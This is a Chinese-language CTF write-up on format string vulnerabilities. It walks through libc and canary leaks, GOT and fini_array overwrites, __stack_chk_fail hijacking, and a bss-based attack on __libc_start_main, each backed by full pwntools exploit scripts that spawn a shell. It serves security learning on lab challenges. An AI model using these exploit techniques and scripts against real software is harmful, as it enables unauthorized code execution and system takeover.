栈上格式化字符串 1.64位泄露libc地址
题目 BaseCTF week3-format_string_level2
很明显的格式化字符串漏洞,没有后门函数,需要泄露libc。
偏移照惯例找就行了,这里就不展示了,偏移是6 ,需要注意64位和32利用格式化字符串漏洞实现任意地址读的区别:64位的地址多了许多0,所以导致不可以在payload前面填要读的地址
举例:
payload = p64(printf_got) + b’%6$s’ 这样写在输出的时候,读完printf_got就结束了,got表地址就只有三字节,后面全是补全的\x00,会导致printf输出截断 ,所以printf_got应该放在后面。
题解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher3 import *context(arch='amd64' ,log_level='debug' ) p = remote("challenge.basectf.fun" ,49786 ) elf = ELF("./fmt" ) printf_got = elf.got['printf' ] read_got = elf.got['read' ] payload = b'%7$saaaa' +p64(read_got) p.send(payload) read_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (read_addr))libc = ELF("/home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6" ) base = read_addr - libc.sym["read" ] system = base + libc.sym['system' ] payload = fmtstr_payload(6 ,{printf_got:system}) p.sendline(payload) p.send(b'/bin/sh\x00' ) p.interactive()
2.泄露canary 题目 NSSCTF 3rd ezstack:
可以发现很明显的格式化字符串漏洞,但是只可以利用一次,由于printf遇到\x00才会停止输出 ,利用这个特性,加上任意地址可读的漏洞利用,我们可以泄露出canary 。
难点其实在于找偏移
以本题举个例子:
buf距离canary 0x38的位置,在栈上差距0x38/8=7个位置,再加上64位传入前六个参数位于寄存器中,所以偏移其实是7+6=13 ,然后就可以开始得到canary,进行正常的ret2libc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher3 import *p = process("./pwn" ) elf = ELF("./pwn" ) pop_rdi_ret = 0x0000000000401303 ret = 0x000000000040101a main = elf.sym['main' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] p.recvuntil("canary challenge\n" ) p.sendline(b'%13$p' ) canary = int (p.recv(18 ),16 ) print ("[+][+][+][+]canary=" ,hex (canary))p.recvuntil(">\n" ) payload = b'a' *0x28 + p64(canary) + p64(0 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) log.success("puts_address " ,hex (puts_addr)) ''' LibcSearcher 没搜到,上网站找的 libc = LibcSearcher('puts',puts_addr) base = puts_addr - libc.dump('puts') system = base + libc.dump('system') bin_sh = base + libc.dump('str_bin_sh') ''' libc = ELF("/mnt/hgfs/ctfpwn/exp/libc/libc6_2.31-0ubuntu9.10_amd64.so" ) base = puts_addr - libc.sym['puts' ] system = base + libc.sym['system' ] bin_sh = base + next (libc.search(b'/bin/sh' )) p.recvuntil("canary challenge\n" ) p.sendline(b'%13$p' ) canary = int (p.recv(18 ),16 ) print ("[+][+][+][+]canary=" ,hex (canary))p.recvuntil(">\n" ) payload = b'a' *0x28 + p64(canary) + p64(0 ) + p64(pop_rdi_ret) +p64(bin_sh) + p64(ret) + p64(system) p.sendline(payload) p.interactive()
3.只有一次格式化字符串漏洞利用机会 (1)修改fini_array 题目链接
ida速览
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format[68 ]; setvbuf (stdin, 0 , 2 , 0 ); setvbuf (stdout, 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , format); printf ("Hello " ); printf (format); return 0 ; }
利用分析
只有一次漏洞利用,很明显是不够的,因为修改pirntf_got 为system就需要一次漏洞利用,所以有什么方法可以使得改完printf后再回到main函数呢?其实是有的
可以发现执行完main函数之后会执行一个终止函数,如果我们可以改终止函数为main函数地址,那是不是就可以又再次回答main函数?答案是肯定的,此题目没有PIE。
下图第一个红框就是main函数前要执行的初始化函数,而第二个红框就是main函数结束之后要执行的终止函数,我们要改的就是这个函数值
EXP解释 修改分析:
fini_array -> main printf -> system
很明显要先改高位字节,因为先改小的,再改大的(%x$n的特性,前面有多少个字符了就修改多少)
1 2 3 4 5 printf = 0x0804 989c system = 0x0804 83D0 fini_array = 0x0804 979C main = 0x0804 8534
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch='i386' ,log_level='debug' ) p = process("./pwn" ) elf = ELF("./pwn" ) printf = 0x0804989c system = 0x080483D0 fini_array = 0x0804979C main = 0x08048534 payload = p32(fini_array+2 ) + p32(printf+2 ) + p32(printf) + p32(fini_array) payload += b'%' + str (0x804 -0x10 ).encode() + b'c%4$hn' + b'%5$hn' payload += b'%' + str (0x83D0 - 0x804 ).encode() + b'c%6$hn' payload += b'%' + str (0x8534 - 0x83D0 ).encode() + b'c%7$hn' p.recv() p.sendline(payload) p.recv() p.send(b'/bin/sh\x00' ) p.interactive()
(2)修改stack_chk_fail 题目来自BaseCTF fmt3,参考了官方题解
ida速览 1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[256 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(); puts ("-----" ); read(0 , buf, 0x110 uLL); printf (buf); return 0 ; }
很明显的格式化字符串漏洞利用,但是无法栈溢出到返回地址。
利用分析
我们没有system和/bin/sh,很明显是需要泄露libc的,泄露libc很简单,同开头的64位利用一样,但是然后的步骤我们该如何进行呢?一次格式化字符串漏洞利用行不行呢?
其实当然是不行的,如何修改可以使得多次利用呢?canary!!!
canary阻止了我们进行栈溢出的利用,但是同时也衍生出了对于它的攻击手法以及利用,**__stack_chk_fail的利用。**
当输入达到canary的时候,发生错误,系统会执行__stack_chk_fail函数,然后导致退出程序,如果我们修改该函数的got表内容为main函数的地址,那么我们主动去触发这个函数,是不是就会跳到main函数了呢?答案当然是:是的!!!
所以思路很明显了,先将stack_chk_fail的got改为main函数的地址,并且泄露libc,第二次将printf_got修改为system,第三次传入/bin/sh就行了,但是记住,要主动去触发__stack_chk_fail函数才会返回到main函数。
EXP&解释 1.修改__stack_chk_fail函数got表,并且泄露libc
根据ida地址分析,只需要进行三次的单字节修改即可。偏移是6,22 = 0x10 + 6,0x10的偏移在栈上表示为0x10*8 = 0x80,所以对偏移为22的地方进行单字节修改,将偏移为22的地方写入要修改的即可。
其中的0x100 - 上次已经写入的字符数 + 本次应该写入的字符数 ,个人认为应该是防止出现负数的情况,也算是学到了新的写法了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 stack_chk_fail = 0x0403320 main = 0x040121B payload = b'%' + str (0x1b ).encode() + b'c%22$hhn' payload += b'%' + str (0x100 -0x1b +0x12 ).encode() + b'c%23$hhn' payload += b'%' + str (0x100 -0x12 +0x40 ).encode() + b'c%24$hhn' payload += b'---b%25$s' payload = payload.ljust(0x80 ,b'a' ) payload += p64(stack_chk_fail) payload += p64(stack_chk_fail+1 ) payload += p64(stack_chk_fail+2 ) payload += p64(printf_got) payload = payload.ljust(0x110 ,b'a' ) p.send(payload) p.recvuntil(b'---b' ) printf_addr = u64(p.recv(6 )+b'\x00\x00' ) success("printf_address : " +hex (printf_addr)) base = printf_addr - libc.sym['printf' ] system = base + libc.sym['system' ]
2.修改printf_got => system,传入/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 payload = b'%' + str (system & 0xff ).encode() + b'c%22$hhn' payload += b'%' + str ((0x100 - system&0xff )+(system >> 8 & 0xff )).encode() + b'c%23$hhn' payload += b"%" + str ((0x100 - (((system >> 8 ) & 0xff ))) + (((system >> 16 ) & 0xff ))).encode() + b"c%24$hhn" payload = payload.ljust(0x80 ,b'a' ) payload += p64(printf_got) payload += p64(printf_got + 1 ) payload += p64(printf_got + 2 ) payload = payload.ljust(0x110 ,b'a' ) sleep(0.3 ) p.send(payload) sleep(0.3 ) p.send(b'/bin/sh\x00' ) p.interactive()
非栈上格式化字符串 题目:
先来看看题目:
思路:
题目很明显,给你7次利用格式化字符串漏洞的机会,让你getshell,可是我们发现buf是在bss段上面的 ,不同于在栈上的利用,在栈上,我们通常是修改printf_got为system地址 ,然后通过传入/bin/sh,达到getshell的目的,可是此处,我们不可以。
为什么?因为非栈上的格式化字符串漏洞的利用需要我们自己去手动写payload,不像非栈上有fmtstr_payload这种工具帮我们修改,因此,我们手搓修改就要一直用到格式化字符串漏洞,那么这个printf就无法更改,那我们可以修改什么呢?
修改__libc_start_main
__libc_start_main相当于函数的返回地址 ,当程序结束的时候会执行它,我们可以将它修改为onegadget,然后就可以getshell了,下面说说如何修改。
修改核心:
我们要找到 地址a -> 地址b -> 目标地址 ,这样的格式。
因为修改a其实是修改c
举个例子:
为了得到A -> B -> C C不在栈上
有一个D跟C的地址很像,或许就末两字节不相同
借助A -> B -> D 且已知偏移的情况下
修改A末两字节,就可以使得B->C。
题解:
先查看栈结构,找到 a->b->c的结构,锁定修改的目标:
如图,为了修改__libc_start_main,我们选定的结构是下面画框部分,可以发现画框部分的地址,与libc_start_main前面的地址相差不大,我们就成功地找到了”朋友”
D - > __libc_start_main
A -> B -> C ,修改C为D
A -> B -> D -> __libc_start_main ,再修改B就可以达到修改libc_start_main了
接下来对B而言,刚好也是一个a->b->c的结构,B->D->libc_start_main ,如此我们修改B即修改第三个指针libc_start_main为onegadget即可getshell
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *from LibcSearcher3 import *context(arch='amd64' ) p = process("./pwn" ) libc = ELF("/mnt/hgfs/ctfpwn/exp/libc/libc6_2.31-0ubuntu9.10_amd64.so" ) def bug (): gdb.attach(p) pause() p.recvuntil('>\n' ) payload = b'%9$p%11$p' p.sendline(payload) p.recvuntil(b'0x' ) libc_start_main= int (p.recv(12 ),16 )-243 print ("[+][+][+][+] libc_start_main:" ,hex (libc_start_main))base = libc_start_main - libc.sym['__libc_start_main' ] p.recvuntil("0x" ) stack=int (p.recv(12 ),16 ) print ("[+][+][+][+] stack = " , hex (stack))stack1 = stack - 240 stack2 = stack - 224 one = base + 0xe3b01 print ("[+][+][+][+] stack1 = " , hex (stack1))print ("[+][+][+][+] stack2 = " , hex (stack2))pay=(b'%' +str (stack1&0xffff ).encode()+b'c%11$hn' ).ljust(0x98 ,b'\x00' )+p64(stack2) p.recvuntil('>\n' ) p.sendline(pay) pay=(b'%' +str (one&0xffff ).encode()+b'c%39$hn' ).ljust(0x98 ,b'\x00' )+p64(stack) p.recvuntil('>\n' ) p.sendline(pay) stack1+=2 pay=(b'%' +str (stack1&0xffff ).encode()+b'c%11$hn' ).ljust(0x98 ,b'\x00' )+p64(stack2+2 ) p.recvuntil('>\n' ) p.sendline(pay) pay=(b'%' +str (one>>16 &0xffff ).encode()+b'c%39$hn' ).ljust(0x98 ,b'\x00' )+p64(stack+2 ) p.recvuntil('>\n' ) p.sendline(pay) stack1+=2 pay=(b'%' +str (stack1&0xffff ).encode()+b'c%11$hn' ).ljust(0x98 ,b'\x00' )+p64(stack2+4 ) p.recvuntil('>\n' ) p.sendline(pay) pay=(b'%' +str (one>>32 ).encode()+b'c%39$hn' ).ljust(0x98 ,b'\x00' )+p64(stack+4 ) p.recvuntil('>\n' ) p.sendline(pay) p.interactive()
libc版本是泄露libc_start_main后上网站找的:libc-database